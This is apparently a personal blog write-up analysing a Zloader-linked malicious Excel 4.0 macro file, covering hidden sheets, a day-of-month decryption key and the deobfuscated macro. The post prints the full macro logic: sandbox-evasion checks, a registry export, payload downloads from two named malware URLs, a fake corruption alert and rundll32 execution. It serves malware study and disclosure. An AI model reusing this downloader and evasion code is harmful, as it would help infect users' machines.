Reading Time: 5 minutes

I got given by a friend a malicious Excel file that he analyzed as I’m eager to learn more

I’m not familiar with MS-Office forensic techniques, hencewhy I found this interesting to look into during my evenings.

First, when uploading to VirusTotal, today I’m writing the article, 18 products are now detecting it. End of last week, the number was only 5. I’ve also alerted Palo Alto Networks.

let’s open the file in a safe VM and let’s look at it.

User Awareness should if taught properly trigger User suspicion about this file, and hopefully prevent a User to Click on the Enable Content button

At first, looking at the macros Alt-F8, one cannot see any macros neither anything in the VBA editor Alt-F11. Obviously something is hidden as there is the warning about the macros.

Applying my colleage’s trick to unhide worksheets from Powershell is working nicely. I also did a Select ALL -> change color to default as it was white on white.

Running the Macro produces an error.

The initial macro line A83, is referencing a few formula which uses a function DAY(NOW). Meaning the date day of the month (example 28th for today). The error is on line 85

It’s all a bit confusing as the code is properly obfuscated. References like R something, and each time it seems to be related to cell 90:19 which has a value of 1548. So, some sort of obfuscation that didn’t run automativally on my VM.

Let’s use another tool (XLMMacroDeobfuscator) to try to understand more. I’m using the module xls_wrapper.py and it produces the following output

In this output format, it’s easier to read as references are not relative R… but real cell numbers. We can see that S90 seems to be the key to decipher the characters.

Let’s break down, the calculation of S90

When reading a great Excel 4.0 macro document : https://exceloffthegrid.com/download/4095/

Looking at page 201

171*GET.CELL(19,A81) : type 19 = Size of font, in points.

I’ve Selected Cell R83C1, right click Run

Click Step into
And Evaluate

171*GET.CELL(19,A81) = 2052

GET.CELL(17,A81) : type 17 = Row height of cell, in points

GET.CELL(17,A81) = 18

So far my S90 = (2052- (18*28) = 1548

Let’s apply deciper to the first characters.

CHAR(B4-S90)&CHAR(B5-S90)&CHAR(B7-S90)&CHAR(B8-S90)&CHAR(A6-S90)&CHAR(A7-S90)&CHAR(A9-S90)&CHAR(A10-S90)&CHAR(D26-S90)&CHAR(D27-S90)&CHAR(D29-S90)&CHAR(A15-S90)&CHAR(A16-S90)

B4 = 1807 => -1548 = 259 => chr(259) = above 255. so wrong

B5 = 1819 also wrong …

So if this was the 1st of the month what would the decipher be ?

B4 = 1807 => -2034 = negative value … so also wrong. So it’s somewhere in between. A little Excel sheet as we are into Office today 🙂

By trying from 1 to 31 we see that at 17, we have a =IF(
S90 decipher value = 1746 !

So the payload is being triggered on the 17th.

Changing the date of the VM to the 17th, and replaying the Evaluate, we see the 1st line of code emerging

This is checking if “Usable workspace width, in points” is bigger than 770. If not, then close. So this is a Sandbox detection line.

After some time going through it, here is the final code. I’ve highlighted the checks, the URLs and the execution and added a comment to explain what the line does. (here below a proper paste in order for search engine to index it)

=IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),) # Check Usable workspace width, in points
=IF(GET.WORKSPACE(14)<390,CLOSE(FALSE),) # Check Usable workspace height, in points
=IF(GET.WORKSPACE(19),,CLOSE(TRUE)) # Check If a mouse is present
=IF(GET.WORKSPACE(42),,CLOSE(TRUE)) # Check If your computer is capable of playing sounds
=IF(ISNUMBER(SEARCH(“Windows”,GET.WORKSPACE(1))),,CLOSE(TRUE)) # Name of the environment in which Microsoft Excel is running, as text, followed by the environment’s version number
=”C:\Users\Public\”&RANDBETWEEN(1,9999)&”.reg” # create random name for a reg file in
=”EXPORT HKCU\Software\Microsoft\Office\”&GET.WORKSPACE(2)&”\Excel\Security “&R[-1]C&” /y” # Lecture des clĂ©e de register de sĂ©curitĂ© d’Excel
=CALL(“Shell32″,”ShellExecuteA”,”JJCCCJJ”,0,”open”,”C:\Windows\system32\reg.exe”,R[-1]C,0,5) # Export des clĂ© de registre
=WAIT(NOW()+”00:00:03″) # wait 3sec for export to finish
=FOPEN(R[-4]C) # Open the reg file
=FPOS(R[-1]C,215) # position at after 215 char
=FREAD(R[-2]C,255) # read 255 chars from that initial place
=FCLOSE(R[-3]C) # close the file
=FILE.DELETE(R[-8]C) # delete the reg file
=IF(ISNUMBER(SEARCH(“0001”,R[-3]C)),CLOSE(FALSE),) # find for string “0001” is in there.
=”C:\Users\Public\CVR”&RANDBETWEEN(1000,9999)&”.tmp.cvr” # Generate file CVRxxxx.tmp.cvr
=”http://q8dl3.com/wp-content/themes/calliope/wp_data.php” # URL 1
=”http://sarkarjewells.com/wp-content/themes/calliope/wp_data.php” # URL 2
=CALL(“urlmon”,”URLDownloadToFileA”,”JJCCJJ”,0,R[-2]C,R[-3]C,0,0) # Download URL1
=ERROR(FALSE)
=FOPEN(R[-5]C,2) # write to file
=IF(ISERROR(R[-1]C),,GOTO(R[2]C))
=CALL(“urlmon”,”URLDownloadToFileA”,”JJCCJJ”,0,R[-5]C,R[-7]C,0,0) # in case of Error, use URL2
=ALERT(“The workbook cannot be opened or repaired by Microsoft Excel because it’s corrupt.”,2) # Popup window
=CALL(“Shell32″,”ShellExecuteA”,”JJCCCJJ”,0,”open”,”C:\Windows\system32\rundll32.exe”,R[-9]C&”,DllRegisterServer”,0,5) # Execute the malware
=CLOSE(FALSE)

In Picture with colors, maybe clearer :

Googling it, shows it’s really similar that what @DynamicAnalysis has written in their Tweet feed which then attributes this excel sheet to zLoader : https://twitter.com/DynamicAnalysis/status/1252259631042301957

There is also articles on the DGA for the next phases : https://johannesbader.ch/blog/the-dga-of-zloader/

My intake of all this, is that Zloader is a clever peace of malware. Obfuscation, Day Based sandbox escaper and forensic headache, double URLs, Sandbox escaper (exit if detected) in this version 5 checks! , and apparently DGA Domain Generation Algorithm with multiple seeds to evade IOCs signatures

Thanks to so many other people’s tips, advise, work, documentation and tools which help me to comprehend all this and write this small article : @1mm0rt411 , @exceloffthegrid , @DissectMalware , @DynamicAnalysis , johannes Bader

3